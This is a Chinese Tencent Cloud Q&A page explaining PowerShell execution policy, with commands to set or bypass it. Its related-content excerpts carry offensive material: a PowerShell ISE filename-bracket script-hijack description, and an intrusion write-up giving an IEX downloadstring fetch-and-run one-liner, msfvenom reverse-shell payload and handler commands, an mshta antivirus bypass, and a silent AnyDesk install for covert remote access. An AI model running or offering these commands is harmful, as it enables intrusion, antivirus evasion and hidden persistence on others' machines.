首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Powershell启动进程可以工作,但不能从.ps1脚本启动

Powershell是一种用于自动化任务和配置管理的脚本语言,它可以在Windows操作系统上执行各种操作。在使用Powershell启动进程时,有时候可能会遇到无法从.ps1脚本启动进程的问题。

这个问题可能是由于Powershell的执行策略(Execution Policy)导致的。Powershell的执行策略用于控制脚本的运行权限,包括限制从脚本文件中加载和执行未签名的脚本。默认情况下,Powershell的执行策略设置为"Restricted",即不允许执行任何脚本。

要解决这个问题,可以通过修改Powershell的执行策略来允许从.ps1脚本启动进程。可以使用以下命令来修改执行策略:

代码语言:txt
复制
Set-ExecutionPolicy RemoteSigned

上述命令将执行策略设置为"RemoteSigned",即允许执行本地计算机上签名过的脚本,而不需要签名的本地脚本则可以自由执行。

另外,还可以使用以下命令来临时解决该问题,而不改变执行策略:

代码语言:txt
复制
powershell -ExecutionPolicy Bypass -File "path\to\script.ps1"

上述命令将通过绕过执行策略来执行指定的脚本文件。

在云计算领域中,Powershell可以与各种云服务提供商的API进行交互,实现自动化管理和部署。腾讯云提供了一系列与Powershell集成的产品和服务,例如腾讯云命令行工具(TencentCloud CLI),可以通过命令行方式管理和操作腾讯云资源。您可以访问腾讯云官方网站了解更多关于腾讯云和Powershell的信息。

参考链接:

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

  • PowerShell-文件名分析缺陷远程代码执行-0day

    当括号用作文件名的一部分时,它可以用来劫持当前加载的文件,而不是 另一个恶意文件。 该文件必须包含一个匹配的char值,该值也可以在我们精心编制的文件名中找到。 要求是两个文件必须驻留在同一目录中。例如,如果文件名为[helloworldutoria1].ps1 与 名为1.ps1的文件将创建脚本劫持条件。注意,最后一个字母是数字“1”,而不是小写“l”。 我发现使用ps文件名还可以使用单个字母或数字字符作为脚本的目标 以及某些符号。 只有一个单引号的PowerShell脚本也可以工作,[pwned']。 Vuln ISE应用程序。 这些字符还可以完成工作: “$”“”“”“^”加上任何不区分大小写的字母a-z或数字0-9,[hello_world].ps1===>uu1.ps1 [您好]。PS1将改为执行此操作===>H.PS1 破折号“-”引发以下错误:“指定的通配符模式无效:[hello world].ps1”当 指向 另一个名为-.ps1的ps文件,似乎将其视为元字符。 [pw3d].ps1<==应执行 3.ps1<==实际执行 这利用了PowerShellISE和最终用户之间的信任。因此脚本调试本地或通过网络共享 显示“可信”代码 在ISE中运行。但是,当用户调试脚本时,会执行另一个脚本。 有趣的是,第二个脚本在执行时不会加载到PowerShellISE中,因此用户可能看不到 有什么不对的。 成功发生攻击需要用户交互,显然运行任何未知的PowerShell脚本都可以 危险。 同样,这种利用利用利用了“信任”的优势,用户可以看到和读取代码,并将其作为一切都信任它。 看起来很好,而且 然而…他们还是会被惩罚的!. 在Win7/10上成功测试

    01

    记一次从Jboss到3389远程桌面案例

    翻看磁盘文件时发现“Exlive GPS车辆定位服务平台”安装目录下有一个conf.xml配置文件,存储着这个定位服务平台的相关配置信息,包括MSSQL数据库的用户和密码。 ipconfig /all命令下发现这台主机有两个网卡,公网:47.**.***.77,内网:10.28.176.131,两个内网DNS服务器:10.143.22.116、10.143.22.118,并且可以与外网进行通讯。 0x04 绕过主动防御上线 测试了以前常用的Powershell混淆法,不过已经被360主动防御拦了,微软defender也会检测ps1脚本内容。所有免杀和绕过方式都有时效性,一旦被公布被查杀和拦截也正常(早晚的事)。 powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b) web_delivery、hta_server模块肯定更不行了,最终我们是利用Mshta.exe白名单方式成功绕过360主动防御得到目标主机Session会话,执行getsystem即可提升为SYSTEM,执行命令如下。 1、生成载荷并编码 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin cat /tmp/shellcode.bin | base64 -w 0 2、配置监听模块参数 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 155.**.***.16 set lport 443 exploit 3、目标主机执行载荷 mshta http://155.**.***.16:8888/bypass360.hta 注:mshta白名单貌似只能用x86的Payload,执行成功后会自动迁移至32位的rundll32.exe进程,所以就可能会出现由werfaylt.exe弹出的下图报错,所以个人建议在得到Session后迁移至x64进程,并执行taskkill /f /im werfaylt.exe命令将该进程结束掉。 0x05 绕过异地登录提醒 虽然已经是最高权限了,但由于这台主机为阿里云,且存在360主动防御,就不添加用户进行远程桌面连接了,因为360会拦截添加用户,而且远程桌面连接时会触发异地登录提醒。 为避免触发异地登录提醒,我们可以利用AnyDesk来进行绕过,将AnyDesk.exe和静默安装批处理文件上传至可读写目录中,然后在命令行下执行该批处理文件获取连接ID。 注:如果等待时间过长,一直卡着不动获取不到连接ID时可结束当前命令行,重新进入命令行执行anydesk --get-id命令来获取连接ID。 @echo off AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password choice /t 10 /d y /n >nul for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i echo Connection ID Is: %CID% 接着我们使用静默安装批处理文件中设置的固定连接密码和获取到的连接ID即可连接到目标主机的远程桌面,成功的绕过了阿里云主机的异地登录提醒。 至此,全文结束,内网就不搞了!!!

    03
    领券